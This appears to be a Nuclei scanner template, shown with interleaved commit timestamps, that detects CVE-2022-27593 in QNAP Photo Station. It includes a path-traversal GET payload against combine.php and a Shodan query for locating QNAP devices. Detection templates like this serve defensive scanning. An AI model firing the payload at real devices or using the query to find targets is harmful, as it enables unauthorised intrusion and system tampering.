2022-10-14 09:20:53 +00:00
id : CVE-2022-27593
info :
2023-01-16 17:41:15 +00:00
name : QNAP QTS Photo Station External Reference - Local File Inclusion
2022-10-14 09:20:53 +00:00
author : allenwest24
severity : critical
description : |
2023-01-16 17:41:15 +00:00
QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6 : Photo Station 5.2.14 and later.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches and updates provided by QNAP to fix the local file inclusion vulnerability in QTS Photo Station.
2022-10-14 09:20:53 +00:00
reference :
- https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
- https://www.qnap.com/en/security-advisory/qsa-22-24
- https://nvd.nist.gov/vuln/detail/CVE-2022-27593
2024-01-29 17:11:14 +00:00
- https://github.com/20142995/sectool
- https://github.com/ARPSyndicate/cvemon
2022-10-14 09:20:53 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score : 9.1
cve-id : CVE-2022-27593
cwe-id : CWE-610
2024-03-23 09:28:19 +00:00
epss-score : 0.56352
epss-percentile : 0.97624
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
2022-10-14 09:20:53 +00:00
metadata :
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : qnap
product : photo_station
2023-09-06 11:59:08 +00:00
shodan-query : title:"QNAP"
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,qnap,lfi,kev
2022-10-14 09:20:53 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-14 09:20:53 +00:00
- method : GET
path :
- "{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."
matchers-condition : and
matchers :
- type : word
part : response
words :
- "!function(p,qa){"
- "module.exports"
- "application/javascript"
condition : and
- type : status
status :
2023-01-16 17:41:15 +00:00
- 200
2024-01-30 06:46:18 +00:00
# digest: 4a0a004730450220534c8a54d0ab5457430be4c2c8632e67cc5e772e0032304455375a2f8caa9907022100aeebdc96a43725955711832c2f9a09169a353b552e3a5484a913b5e179659916:922c64590222798bb761d5b6d8e72950